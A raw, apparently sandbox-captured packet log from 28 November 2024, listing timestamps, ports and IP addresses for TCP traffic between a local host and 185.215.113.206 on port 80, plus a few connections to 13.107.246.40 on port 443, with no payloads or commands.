Nov 28, 2024 17:24:42.765053988 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.765125036 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.765140057 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.765182972 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.765793085 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.765846014 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.765861034 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.765897036 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.766530037 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.766571999 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.766633987 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.766688108 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.767211914 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.767263889 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.767350912 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.767394066 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.767915010 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.767967939 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.768012047 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.768157959 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.768631935 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.768687963 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.768785000 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.768831968 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.769330978 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.769385099 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.769463062 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.769511938 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.770071983 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.770169020 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.770256042 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.770303965 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.770801067 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.770869017 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.770936966 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.770993948 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.771482944 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.771533966 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.771620989 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.772212982 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.772263050 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.772313118 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.772360086 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.772932053 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.772978067 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.773116112 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.773175001 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.773688078 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.773731947 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.773753881 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.773863077 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.774373055 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.774434090 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.774619102 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.774668932 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.775048018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.775094986 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.775125980 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.775213957 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.775844097 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.775895119 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.776010036 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.776051044 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.776515961 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.776573896 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.776649952 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.776707888 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.777196884 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.777245045 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.777288914 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.777456999 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.777923107 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.777978897 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.778059959 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.778105974 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.778717995 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.778764009 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.778836012 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.778882980 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.779385090 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.779412031 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.779431105 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.779531002 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.780112028 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.780133009 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.780159950 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.780177116 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.780821085 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.780874968 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.780894041 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.780983925 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.781526089 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.781563997 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.781570911 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.781604052 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.782311916 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.782366037 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.782407999 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.782454014 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.782948971 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.783047915 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.783085108 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.783134937 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.783704996 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.783787966 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.783941031 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.784827948 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.784843922 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.784873962 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.784888983 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.785232067 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.785276890 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.785279989 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.785408020 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.785918951 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.785973072 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.786045074 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.786091089 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.786612034 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.786663055 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.786681890 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.786782026 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.787247896 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.787300110 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.951105118 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.951227903 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.951482058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.951577902 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.951594114 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.951666117 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.952136040 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.952169895 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.952220917 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.952244043 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.952830076 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.952892065 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.952956915 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.953603029 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.953640938 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.953655958 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.953681946 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.954338074 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.954380989 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.954687119 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.955018997 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.955104113 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.955146074 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.955696106 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.955750942 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.955782890 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.955826044 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.956424952 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.956449986 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.956520081 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.957159996 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.957207918 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.957273006 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.957317114 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.957855940 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.957876921 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.957952976 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.958558083 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.958671093 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.958673000 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.958731890 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.959373951 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.959414005 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.959460974 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.959965944 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.960021973 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.960033894 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.960155964 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.960690022 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.960737944 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.960807085 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.961500883 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.961566925 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.961592913 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.961630106 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.962089062 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.962236881 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.962323904 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.962821960 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.962883949 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.962938070 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.963073015 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.963581085 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.963632107 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.963699102 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.963839054 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.964262009 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.964318037 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.964335918 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.964413881 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.965018034 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.965123892 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.965137005 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.965282917 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.965667009 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.965720892 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.965841055 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.965909004 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.966394901 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.966444016 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.966511011 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.966563940 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.967143059 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.967212915 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.967339993 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.967827082 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.967878103 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.967941999 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.967981100 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.968555927 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.968589067 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.968602896 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.968632936 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.969280958 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.969377995 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.969435930 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.969980001 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.970030069 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.970041990 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.970077038 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.970710993 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.970769882 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.970794916 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.970815897 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.971432924 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.971467018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.971534014 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.972110987 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.972151995 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.972186089 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.972232103 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.972841978 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.972894907 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.972975969 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.973022938 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.973546982 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.973644018 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.973697901 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.973794937 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.974287987 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.974338055 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.974442005 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.974584103 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.974960089 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.975020885 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.975092888 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.975163937 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.975706100 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.975760937 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.976015091 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.976388931 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.976396084 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.976511002 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.976581097 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.976638079 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.977135897 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.977268934 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.977309942 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.977844954 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.977895021 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.977967024 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.978008032 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.978555918 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.978607893 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.978641987 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.978724957 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.979254961 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.979317904 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.979482889 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.979540110 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.979999065 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.980112076 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.980120897 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.980180979 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.980696917 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.980824947 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.980849028 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.980932951 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.981403112 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.981467962 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.981478930 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.981535912 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.982135057 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.982183933 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.982224941 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.982264042 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.982814074 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.982870102 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.982889891 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.983066082 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.983638048 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.983685970 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.983726978 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.983769894 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.984256029 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.984352112 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.984421968 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.984972954 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.985023022 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.985146046 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.985197067 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.985726118 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.985764027 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.985775948 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.985805988 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.986383915 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.986427069 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.986457109 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.986516953 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.987128019 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.987200975 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.987234116 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.987273932 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.987858057 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.987900972 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.987982035 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.988025904 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.988524914 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.988571882 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.093722105 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:43.093761921 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:43.093847036 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:43.094037056 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:43.094048023 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:43.152451038 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.152512074 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.152641058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.152698994 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.152827978 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.152890921 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.153042078 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.153151989 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.153536081 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.153554916 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.153584003 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.153597116 CET	49813	80	192.168.2.6	185.215.113.206
